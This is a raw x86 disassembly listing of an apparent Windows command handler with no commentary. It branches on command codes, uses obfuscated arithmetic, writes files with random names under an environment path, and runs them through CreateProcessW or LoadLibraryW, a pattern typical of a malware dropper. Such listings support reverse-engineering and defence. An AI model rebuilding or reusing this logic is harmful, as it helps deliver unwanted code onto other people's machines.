lea ecx, [0x469781]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401590
add esp, 0xc
cmp eax, 0
jne 0x44833d
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 4
jmp 0x448e55
mov eax, dword [esi]
lea ecx, [0x46977d]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004012d0
add esp, 8
mov ecx, dword [ebp - 0x8c]
mov dword [ecx], eax
mov edi, ecx
mov eax, dword [esi]
lea ecx, [0x469781]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004012d0
add esp, 8
mov ecx, dword [ebp - 0x88]
mov dword [ecx], eax
mov esi, ecx
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.004560b0
add esp, 4
mov ecx, dword [ebp - 0x84]
mov dword [ecx], eax
mov edi, ecx
mov eax, dword [esi]
sub esp, 4
mov dword [esp], eax
call fcn.004560b0
add esp, 4
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
mov edx, dword [edi]
mov ecx, edx
and ecx, 0xfffffffd
mov edi, edx
or edi, 0xfffffffd
mov eax, edi
xor eax, 0xffffffff
xor edi, 0xffffffff
or eax, edi
xor eax, 0xffffffff
or eax, 0
and eax, 0xffffffff
xor eax, 0xffffffff
imul eax, ecx
mov esi, edx
and esi, 2
mov ecx, edx
and ecx, 2
xor edx, 2
or ecx, edx
mov edi, esi
xor edi, 0xffffffff
mov ebx, ecx
and ebx, edi
mov edx, ecx
or edx, edi
xor edx, 0xffffffff
imul edx, ebx
mov edi, ecx
and edi, esi
or ecx, esi
imul ecx, edi
add ecx, edx
add ecx, eax
add ecx, 2
sub esp, 4
mov dword [esp], ecx
call fcn.00455ba4
add esp, 4
mov esi, dword [ebp - 0x80]
mov dword [esi], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
shl eax, 1
sub eax, 0xfffffffe
sub esp, 4
mov dword [esp], eax
call fcn.00455ba4
add esp, 4
mov edi, dword [ebp - 0x104]
mov dword [edi], eax
mov ebx, dword [ebp - 0x84]
mov eax, dword [ebx]
mov ecx, dword [ebp - 0x8c]
mov ecx, dword [ecx]
mov edx, dword [esi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00455bcf
add esp, 0xc
mov eax, dword [esi]
mov ecx, dword [ebx]
mov word [eax + ecx*2], 0
mov esi, dword [ebp - 0x48]
mov eax, dword [esi]
mov ecx, dword [ebp - 0x88]
mov ecx, dword [ecx]
mov edx, dword [edi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00455bcf
add esp, 0xc
mov eax, dword [edi]
mov ecx, dword [esi]
mov word [eax + ecx*2], 0
sub esp, 8
mov dword [esp], 2
mov ebx, dword [ebp - 0x100]
mov dword [esp + 4], ebx
call fcn.00430b40
add esp, 8
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov ecx, dword [edi]
mov esi, dword [ebp - 0x80]
mov edx, dword [esi]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
call fcn.00403000
add esp, 0xc
mov dword [esp], ebx
call fcn.00430c90
add esp, 4
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.00455b05
add esp, 4
mov eax, dword [esi]
sub esp, 4
mov dword [esp], eax
call fcn.00455b05
add esp, 4
mov ecx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x1c]
jmp 0x448e4d
cmp dword [ecx], 2
jne 0x44872e
mov eax, dword [esi]
lea ecx, [0x46977d]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401590
add esp, 0xc
cmp eax, 0
je 0x44857b
jmp 0x44854d
mov eax, dword [esi]
lea ecx, [0x469781]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401590
add esp, 0xc
cmp eax, 0
setne al
test al, 1
jne 0x448589
jmp 0x44857b
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 4
jmp 0x448e55
mov eax, dword [esi]
lea ecx, [0x46977d]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004012d0
add esp, 8
mov ecx, dword [ebp - 0x7c]
mov dword [ecx], eax
mov ebx, ecx
mov eax, dword [esi]
lea ecx, [0x469781]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004012d0
add esp, 8
mov ecx, dword [ebp - 0x78]
mov dword [ecx], eax
mov esi, ecx
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.004560b0
add esp, 4
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov ebx, ecx
mov eax, dword [esi]
sub esp, 4
mov dword [esp], eax
call fcn.004560b0
add esp, 4
mov esi, dword [ebp - 0x74]
mov dword [esi], eax
mov eax, dword [ebx]
mov edx, eax
and edx, 0xfffffffd
mov ecx, eax
or ecx, 0xfffffffd
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 2
or eax, 2
imul eax, edx
add eax, ecx
add eax, 2
sub esp, 4
mov dword [esp], eax
call fcn.00455ba4
add esp, 4
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
mov eax, dword [esi]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 2
mov edx, eax
and edx, 0xfffffffd
imul edx, ecx
mov ecx, eax
and ecx, 2
or eax, 2
imul eax, ecx
add eax, edx
add eax, 2
sub esp, 4
mov dword [esp], eax
call fcn.00455ba4
add esp, 4
mov ebx, dword [ebp - 0xfc]
mov dword [ebx], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx]
mov esi, dword [ebp - 0x34]
mov edx, dword [esi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00455bcf
add esp, 0xc
mov eax, dword [esi]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
mov word [eax + ecx*2], 0
mov esi, dword [ebp - 0x74]
mov eax, dword [esi]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ecx]
mov edx, dword [ebx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00455bcf
add esp, 0xc
mov eax, dword [ebx]
mov ecx, dword [esi]
mov word [eax + ecx*2], 0
sub esp, 8
mov dword [esp], 3
mov esi, dword [ebp - 0xf8]
mov dword [esp + 4], esi
call fcn.00430b40
add esp, 8
mov eax, dword [ebx]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], esi
call fcn.00449480
add esp, 8
mov dword [esp], esi
call fcn.00430c90
add esp, 4
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00455b05
add esp, 4
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00455b05
add esp, 4
jmp 0x448e44
jmp 0x448730
cmp dword [ecx], 3
sete al
test al, 1
jne 0x44873c
jmp 0x448745
jmp 0x44873e
jmp 0x448740
jmp 0x448e42
cmp dword [ecx], 4
jne 0x448e40
mov eax, dword [esi]
lea ecx, [0x469788]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401590
add esp, 0xc
mov ebx, dword [ebp - 0xf4]
mov dword [ebx], eax
mov eax, dword [esi]
lea ecx, [0x46978a]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401590
add esp, 0xc
mov dword [ebx], eax
mov eax, dword [esi]
lea ecx, [0x46978d]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401590
add esp, 0xc
mov dword [ebx], eax
mov eax, dword [esi]
lea ecx, [0x469788]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401590
add esp, 0xc
cmp eax, 0
je 0x44883e
jmp 0x4487e9
mov eax, dword [esi]
lea ecx, [0x46978a]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401590
add esp, 0xc
cmp eax, 0
setne al
test al, 1
jne 0x448817
jmp 0x44883e
mov eax, dword [esi]
lea ecx, [0x46978d]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401590
add esp, 0xc
cmp eax, 0
jne 0x44884c
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 4
jmp 0x448e37
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x469788
call fcn.004012d0
add esp, 8
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46978a
call fcn.00401320
add esp, 8
fnstcw word [ebp - 0x26]
movzx eax, word [ebp - 0x26]
or eax, 0xc00
mov word [ebp - 0x60], ax
fldcw word [ebp - 0x60]
fistp dword [ebp - 0x128]
fldcw word [ebp - 0x26]
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46978d
call fcn.00401320
add esp, 8
fnstcw word [ebp - 0x24]
movzx eax, word [ebp - 0x24]
or eax, 0xc00
mov word [ebp - 0x5e], ax
fldcw word [ebp - 0x5e]
fistp dword [ebp - 0x12c]
fldcw word [ebp - 0x24]
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
sub esp, 0xc
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
mov dword [esp + 8], 0x80
mov dword [esp + 4], 0
call fcn.00450c00
mov esi, dword [ebp - 0x14]
mov dword [esp], esi
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
call fcn.00450c00
add esp, 0xc
mov ax, word [0x47559a]
mov ecx, dword [ebp - 0xf0]
mov word [ecx + 0xc], ax
mov eax, dword [0x475596]
mov dword [ecx + 8], eax
mov eax, dword [0x475592]
mov dword [ecx + 4], eax
mov eax, dword [0x47558e]
mov dword [ecx], eax
sub esp, 0xc
mov dword [esp + 4], esi
mov dword [esp], ecx
mov dword [esp + 8], 0x200
mov eax, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call eax
call fcn.00448fb0
sub esp, 4
mov dword [esp], eax
call fcn.00455e7c
add esp, 4
call fcn.00455e8e
mov ecx, 0xa
cdq
idiv ecx
add edx, 0x4a4d3d99
sub edx, 0x4a4d3d8f
mov esi, dword [ebp - 0xec]
mov dword [esi], edx
mov ebx, dword [ebp - 0x70]
mov dword [ebx], 0
mov ecx, dword [ebp - 0x10]
jmp 0x4489a5
mov eax, dword [ebx]
cmp eax, dword [esi]
jl 0x4489b5
jmp 0x4489ad
mov dword [ecx], 8
jmp 0x4489f7
call fcn.00455e8e
mov ecx, 0x18
cdq
idiv ecx
mov eax, edx
and eax, 0x61
or edx, 0x61
add eax, edx
mov ecx, dword [ebx]
mov edx, dword [ebp - 0x40]
mov word [edx + ecx*2], ax
jmp 0x4489d7
mov ebx, dword [ebp - 0x70]
mov eax, dword [ebx]
mov ecx, eax
xor ecx, 1
xor ecx, 0xffffffff
mov edx, eax
or edx, 1
and edx, ecx
or eax, 1
add edx, eax
mov dword [ebx], edx
mov ecx, dword [ebp - 0x10]
jmp 0x4489a5
lea eax, [0x46813a]
sub esp, 8
mov esi, dword [ebp - 0x14]
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.004595e5
mov dword [esp], esi
mov eax, dword [ebp - 0x40]
mov dword [esp + 4], eax
call fcn.004595e5
add esp, 8
mov eax, dword [ebp - 0x20]
cmp dword [eax], 0
jne 0x448b95
mov eax, dword [0x47564c]
mov ecx, dword [ebp - 0xe8]
mov dword [ecx], eax
mov eax, dword [0x475650]
mov dword [ecx + 4], eax
mov ax, word [0x475654]
mov word [ecx + 8], ax
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004595e5
add esp, 8
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
jne 0x448ac0
xor eax, eax
sub esp, 0xc
mov esi, dword [ebp - 0xe4]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x400
call fcn.00450c00
add esp, 0xc
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], esi
mov dword [esp + 4], eax
mov dword [esp + 8], 0x200
call fcn.00455bcf
add esp, 4
mov dword [esp], esi
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
call fcn.00430370
add esp, 8
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
jne 0x448b7f
xor eax, eax
sub esp, 0xc
mov esi, dword [ebp - 0xe0]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.00450c00
add esp, 0xc
mov dword [esi], 0x44
xor eax, eax
sub esp, 0xc
mov edi, dword [ebp - 0xdc]
mov dword [esp], edi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.00450c00
add esp, 0xc
xor eax, eax
sub esp, 0x28
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x448b7f
jmp 0x448b81
mov eax, dword [ebp - 0x18]
cmp dword [eax], 1
sete al
test al, 1
jne 0x448b90
jmp 0x448b92
jmp 0x448b92
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
cmp dword [eax], 1
mov ecx, dword [ebp - 0x10]
jne 0x448c86
mov eax, dword [0x475638]
mov ecx, dword [ebp - 0xd8]
mov dword [ecx], eax
mov eax, dword [0x47563c]
mov dword [ecx + 4], eax
mov ax, word [0x475640]
mov word [ecx + 8], ax
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004595e5
add esp, 8
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
jl 0x448c48
jmp 0x448be2
mov eax, dword [ebp - 0x18]
cmp dword [eax], 1
setle al
test al, 1
jne 0x448bf1
jmp 0x448c48
xor eax, eax
sub esp, 0xc
mov esi, dword [ebp - 0xd0]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x400
call fcn.00450c00
add esp, 0xc
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], esi
mov dword [esp + 4], eax
mov dword [esp + 8], 0x200
call fcn.00455bcf
add esp, 4
mov dword [esp], esi
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
call fcn.00430370
add esp, 8
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
jne 0x448c5f
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [ebp - 0x18]
cmp dword [eax], 1
jne 0x448c6d
jmp 0x448c69
jmp 0x448c6b
jmp 0x448c6d
jmp 0x448c6f
mov eax, dword [ebp - 0x18]
cmp dword [eax], 2
sete al
test al, 1
jne 0x448c7e
jmp 0x448c80
jmp 0x448c80
mov ecx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
cmp dword [eax], 2
jne 0x448e12
mov eax, dword [0x475624]
mov ecx, dword [ebp - 0xcc]
mov dword [ecx], eax
mov eax, dword [0x475628]
mov dword [ecx + 4], eax
mov ax, word [0x47562c]
mov word [ecx + 8], ax
sub esp, 8
mov esi, dword [ebp - 0x14]
mov dword [esp], esi
mov dword [esp + 4], ecx
call fcn.004595e5
add esp, 8
xor eax, eax
sub esp, 0xc
mov ebx, dword [ebp - 0xc8]
mov dword [esp], ebx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x400
call fcn.00450c00
add esp, 0xc
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], ebx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x200
call fcn.00455bcf
add esp, 4
mov dword [esp], ebx
mov dword [esp + 4], esi
call fcn.00430370
add esp, 8
lea eax, [0x4755e0]
sub esp, 0xc
mov ebx, dword [ebp - 0xc4]
mov dword [esp], ebx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3a
call fcn.00450100
sub esp, 4
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
mov dword [esp + 4], 0x200
mov dword [esp + 8], ebx
mov dword [esp + 0xc], esi
call fcn.00448fe0
add esp, 0x10
xor eax, eax
sub esp, 0xc
mov esi, dword [ebp - 0xc0]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.00450c00
add esp, 0xc
mov dword [esi], 0x44
xor eax, eax
sub esp, 0xc
mov ebx, dword [ebp - 0xbc]
mov dword [esp], ebx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.00450c00
add esp, 0xc
xor eax, eax
sub esp, 0x28
mov dword [esp], 0
mov eax, dword [ebp - 0x6c]
mov dword [esp + 4], eax
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x10]
jmp 0x448e14
mov eax, dword [ebp - 0x20]
cmp dword [eax], 3
sete al
test al, 1
jne 0x448e23
jmp 0x448e2f
jmp 0x448e25
jmp 0x448e27
mov ecx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x1c]
jmp 0x448e2f
mov dword [ecx], 0
jmp 0x448e37
mov eax, dword [ecx]
cmp eax, 0
jne 0x448e55
jmp 0x448e40
jmp 0x448e42
jmp 0x448e44
jmp 0x448e46
mov ecx, dword [ebp - 0x10]
jmp 0x448e4b
jmp 0x448e4d
jmp 0x448e4f
mov dword [ecx], 0
mov eax, dword [ecx]
test eax, eax
je 0x448e62
jmp 0x448e5d
mov ecx, dword [ebp - 0x5c]
jmp 0x448e67
mov ecx, dword [ebp - 0x5c]
jmp 0x448e67
mov eax, dword [edi]
add eax, 1
mov dword [edi], eax
jmp 0x447d09
call fcn.00446de0
sub esp, 8
mov dword [esp], 1
mov ebx, dword [ebp - 0x38]
mov dword [esp + 4], ebx
call fcn.00430b40
add esp, 4
mov dword [esp], ebx
call fcn.0044b2f0
mov dword [esp], ebx
call fcn.0044a9e0
add esp, 4
mov eax, dword [edi]
lea ecx, [0x46978f]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 6
call fcn.00401590
add esp, 0xc
cmp eax, 0
je 0x448f03
mov eax, dword [edi]
lea ecx, [0x46978f]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401420
add esp, 8
mov ecx, dword [ebp - 0xd4]
mov dword [ecx], eax
cmp dword [ecx], 0
je 0x448f03
sub esp, 4
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call fcn.00449e30
add esp, 4
jmp 0x448f05
sub esp, 4
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call fcn.00430c90
add esp, 4
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0
mov eax, dword [edi]
lea ecx, [0x469792]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 6
call fcn.00401590
add esp, 0xc
cmp eax, 0
setne al
test al, 1
jne 0x448f4d
jmp 0x448f6c
mov eax, dword [edi]
lea ecx, [0x469792]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401420
add esp, 8
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00401740
add esp, 4
mov eax, dword [ebp - 0x3c]
cmp dword [eax], 0
je 0x448f8f
call fcn.00449ff0
jmp 0x448f91
mov dword [esi], 1
mov eax, dword [ebp - 0x10]
mov dword [eax], 1
jmp 0x448fa2
mov eax, dword [esi]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret